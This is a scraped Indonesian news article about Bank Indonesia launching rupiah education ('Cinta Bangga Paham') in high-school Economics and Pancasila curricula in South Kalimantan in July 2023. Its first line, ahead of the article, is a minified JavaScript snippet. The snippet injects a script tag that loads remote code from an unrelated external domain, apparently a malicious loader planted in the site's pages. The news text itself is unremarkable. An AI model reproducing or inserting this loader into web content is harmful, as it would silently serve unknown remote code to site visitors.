(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Edukasi rupiah menjadi bagian dari kurikulum pendidikan Sekolah Menengah Atas dan Sekolah Menengah Kejuruan (SMA SMK) di Kalimantan Selatan.
Peluncuran model integrasi edukasi Cinta Bangga Paham (CBP) rupiah ke dalam kurikulum mata pelajaran Ekonomi dan Pendidikan Pancasila tingkat SMA dan SMK se Kalsel di Hotel Dafam Banjarbaru, Jumat (28/7/2023) siang.
Deputi Kepala Perwakilan BI Kalsel Bimo Epyanto mengatakan, metode yang digunakan dalam model integrasi edukasi rupiah ke dalam kurikulum pendidikan tingkat SMA SMK ini adalah pelatihan untuk pelatih training of trainer (ToT).
“BI memberi edukasi CBP rupiah kepada para guru. Kemudian, para guru akan menyampaikan materi edukasi rupiah yang telah dipelajari dari BI tersebut, kepada para pelajar dan peserta didik,” jelas Bimo.
Baca juga: Resmikan Jateng Expo 2023 di Duta Mall Banjarmasin, Ganjar Pranowo Diserbu Pengunjung
Dengan metode ToT, menurut Bimo, proses transfer ilmu akan lebih efektif dan efisien ketimbang metode sosialisasi pada umumnya.
Selain itu, kepastian pelajar untuk mengenal salah satu simbol kedaulatan negara ini diperkuat dengan mengintegrasikan edukasi rupiah ke dalam kurikulum pendidikan.
Baca juga: Kasus Cuci Uang Mantan Bupati HST Abdul Latif, Terdakwa Tak Lakukan Pembuktian Terbalik
Disdikbud Kalsel yang diwakili Staf Disdikbud Kalsel Muhammad Dong menyatakan dukungannya terhadap inovasi yang dilakukan BI.
Bentuk konkret terhadap dukungan yang dilakukan pihaknya adalah mengeluarkan surat edaran agar semua guru SMA dan SMK di Kalsel mengintegrasikan muatan CBP rupiah ke dalam mata pelajaran Ekonomi dan Pendidikan Pancasila.
“Kami mendukung inovasi yang dilakukan BI. Untuk itu, kami akan mengeluarkan surat edaran agar para guru memberikan edukasi Rupiah melalui mata pelajaran Ekonomi dan Pendidikan Pancasila,” kata Muhammad Dong.
Seperti diketahui, Kurikulum Merdeka memberikan keleluasaan kepada pendidik untuk menciptakan pembelajaran berkualitas yang sesuai dengan kebutuhan dan lingkungan belajar peserta didik.
Integrasi CBP rupiah ke dalam kurikulum pendidikan SMA dan SMK merupakan salah satu terobosan dalam implementasi Kurikulum Merdeka.
Baca juga: Gugatan Rp15 Miliar Kades Kolam Kanan Ditolak PN Marabahan
Untuk meningkatkan pemahaman dunia pendidikan tentang rupiah, kegiatan ini menghadirkan berbagai narasumber. Ada Fauzi Rahman, perwakilan Musyawarah Guru Mata Pelajaran (MGMP) Mata Ajar Ekonomi dan Pendidikan Pancasila menjelaskan model intergrasi edukasi CBP rupiah ke dalam kurikulum pendidikan.
Selain itu, ada Lektor Kepala FKIP Universitas Lambung Mangkurat Prof Dr Bambang Subiyakto yang membawakan materi tentang nilai-nilai kepahlawanan dalam uang rupiah.
Kegiatan digelar secara hibrida. Peserta luring terdiri dari perwakilan guru SMA dan SMK dari 13 Kabupaten Kota di Provinsi Kalsel berjumlah 62 orang. Sementara peserta daring terdiri dari 150 orang perwakilan guru mata pelajaran Ekonomi dan Pendidikan Pancasila tingkat SMA dan SMK se Kalsel. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
This website uses cookies.